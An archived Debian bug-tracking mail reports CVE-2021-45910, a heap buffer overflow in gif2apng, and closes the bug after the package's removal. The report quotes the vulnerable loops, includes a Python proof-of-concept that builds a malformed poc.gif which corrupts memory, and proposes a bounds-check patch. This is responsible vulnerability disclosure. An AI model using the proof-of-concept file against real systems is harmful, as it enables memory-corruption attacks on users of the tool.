[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Bug#1002667: marked as done (gif2apng: CVE-2021-45910: Heap based buffer overflow in the main function)



Your message dated Mon, 07 Feb 2022 21:43:10 +0000
with message-id <[🔎] E1nHBmw-0002k2-QY@fasolo.debian.org>
and subject line Bug#1004933: Removed package(s) from unstable
has caused the Debian Bug report #1002667,
regarding gif2apng: CVE-2021-45910: Heap based buffer overflow in the main function
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact owner@bugs.debian.org
immediately.)


-- 
1002667: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1002667
Debian Bug Tracking System
Contact owner@bugs.debian.org with problems
--- Begin Message ---
Package: gif2apng
Version: 1.9+srconly-3
Severity: important
Tags: security

Dear Maintainer,

I found a heap overflow in the main function of the gif2apng application. The issue exists within the for loops in the following code from the main function in gif2apng.cpp:

          if (coltype == 2)
          {
            for (j=0; j<h0; j++)
            {
              k = j; if (interlaced) k = (j>h2) ? (j-h2)*2-1 : (j>h2/2) ? (j-h2/2)*4-2 : (j>h2/4) ? (j-h2/4)*8-4 : j*8;
              src = buffer + j*w0;
              dst = frame0 + ((k+y0)*w + x0)*3;
              for (i=0; i<w0; i++, src++, dst+=3)
                if (!has_t || *src != t)
                  memcpy(dst, &pal_l[*src][0], 3);
            }
          }
          else
          {
            for (j=0; j<h0; j++)
            {
              k = j; if (interlaced) k = (j>h2) ? (j-h2)*2-1 : (j>h2/2) ? (j-h2/2)*4-2 : (j>h2/4) ? (j-h2/4)*8-4 : j*8;
              src = buffer + j*w0;
              dst = frame0 + (k+y0)*w + x0;
              if (shuffle)
              {
                for (i=0; i<w0; i++, src++, dst++)
                  if (!has_t || *src != t)
                    *dst = sh[*src];
              }
              else
              {
                for (i=0; i<w0; i++, src++, dst++)
                  if (!has_t || *src != t)
                    *dst = *src;
              }
            }
          }

The variable frame0 points to a buffer of size w * h * 3 or size w * h depending on the code path. The buffer variable points to a buffer holding user controllable data from the provided gif file. The variables w0, h0, x0 and y0 are also read from the gif file provided to the program without any validation. By choosing these values in the right way it is possible to manipulate the address, that data is written to as well as the number of bytes that are copied to the destination.

I wrote the following poc script, which creates a poc.gif file:

#!/bin/python3

# Writing to poc.gif
f = open("poc.gif", "wb")

sig = b"GIF87a"
w = b"\x10\x00"
h = b"\x10\x00"
flags_one = b"\x00"
bcolor = b"\x01"
aspect = b"\x01"

data = sig + w + h + flags_one + bcolor + aspect
f.write(data)

id = b"\x2c"
w0 = b"\xff\x00"
y0 = b"\x00\x00"
x0 = b"\xff\x00"
h0 = b"\x02\x00"
flags_two = b"\x00"

data = id + x0 + y0 + w0 + h0 + flags_two
f.write(data)

# DecodeLZW
mincode = b"\x07"
f.write(mincode)
for i in range(0,512):
    # Size value and byte we write to the buffer
    target_char = b"\x01" + b"A"
    f.write(target_char)
    # Resetting the values using "clearcode" to keep the code path as simple as
possible
    clear_code = b"\x01" + b"\x80"
    f.write(clear_code)
# Leaving function
target_char = b"\x00"
f.write(target_char)

f.write(b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")

f.close()

Executing the following on the package from the testing repository on Debian 10 lead to a memory corruption issue:
user@debian:~$ gif2apng -i0 poc.gif /dev/null

gif2apng 1.9 using ZLIB

Reading 'poc.gif'...
1 frames.
Writing 'poc.png'...
1 frames.
double free or corruption (out)
Abgebrochen

I have not looked into exploiting this bug. However as it allows us to write arbitrary data to an address outside of the intended buffer and as we have control over parts of the address as well as the data that is written, this could in my opinion be exploitable.

I did a rudimentary fix for this issue locally by doing a bounds check before entering the for loops. However I am not sure if this is the cleanest solution, as this does only adresses the buffer overflow and not the lack of sanity
checks performed on the image data. It could also use some more testing.

          if (coltype == 2)
          {
            for (j=0; j<h0; j++)
            {
              k = j; if (interlaced) k = (j>h2) ? (j-h2)*2-1 : (j>h2/2) ?
(j-h2/2)*4-2 : (j>h2/4) ? (j-h2/4)*8-4 : j*8;
              src = buffer + j*w0;
              dst = frame0 + ((k+y0)*w + x0)*3;
              if ( ( (j*w0 + w0) > buffer_size) || ( ((((k+y0)*w + x0)*3) + w0
* 3 ) > imagesize) ||  ((((k+y0)*w + x0)*3) < 0 ) ||  ( (j*w0) < 0)) {
                printf("Something is wrong with the size values\n");
                exit(0);
              }
              for (i=0; i<w0; i++, src++, dst+=3)
                if (!has_t || *src != t)
                  memcpy(dst, &pal_l[*src][0], 3);
            }
          }
          else
          {
            for (j=0; j<h0; j++)
            {
              k = j; if (interlaced) k = (j>h2) ? (j-h2)*2-1 : (j>h2/2) ?
(j-h2/2)*4-2 : (j>h2/4) ? (j-h2/4)*8-4 : j*8;
              src = buffer + j*w0;
              dst = frame0 + (k+y0)*w + x0;
              if ( ( (j*w0 + w0) > buffer_size) || ( (((k+y0)*w + x0) + w0 ) >
imagesize) ||  ((((k+y0)*w + x0)) < 0 ) ||  ( (j*w0) < 0)) {
                printf("Something is wrong with the size values\n");
                exit(0);
              }
              if (shuffle)
              {
                for (i=0; i<w0; i++, src++, dst++)
                  if (!has_t || *src != t)
                    *dst = sh[*src];
              }
              else
              {
                for (i=0; i<w0; i++, src++, dst++)
                  if (!has_t || *src != t)
                    *dst = *src;
              }
            }
          }


Best regards
Kolja




-- System Information:
Debian Release: 10.11
  APT prefers oldstable-updates
  APT policy: (500, 'oldstable-updates'), (500, 'oldstable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.19.0-18-amd64 (SMP w/8 CPU cores)
Kernel taint flags: TAINT_OOT_MODULE, TAINT_UNSIGNED_MODULE
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages gif2apng depends on:
ii  libc6       2.28-10
ii  libzopfli1  1.0.2-1
ii  zlib1g      1:1.2.11.dfsg-1

gif2apng recommends no packages.

Versions of packages gif2apng suggests:
pn  apng2gif  <none>

-- no debconf information

--- End Message ---
--- Begin Message ---
Version: 1.9+srconly-3+rm

Dear submitter,

as the package gif2apng has just been removed from the Debian archive
unstable we hereby close the associated bug reports.  We are sorry
that we couldn't deal with your issue properly.

For details on the removal, please see https://bugs.debian.org/1004933

The version of this package that was in Debian prior to this removal
can still be found using http://snapshot.debian.org/.

Please note that the changes have been done on the master archive and
will not propagate to any mirrors until the next dinstall run at the
earliest.

This message was generated automatically; if you believe that there is
a problem with it please contact the archive administrators by mailing
ftpmaster@ftp-master.debian.org.

Debian distribution maintenance software
pp.
Scott Kitterman (the ftpmaster behind the curtain)

--- End Message ---

Reply to: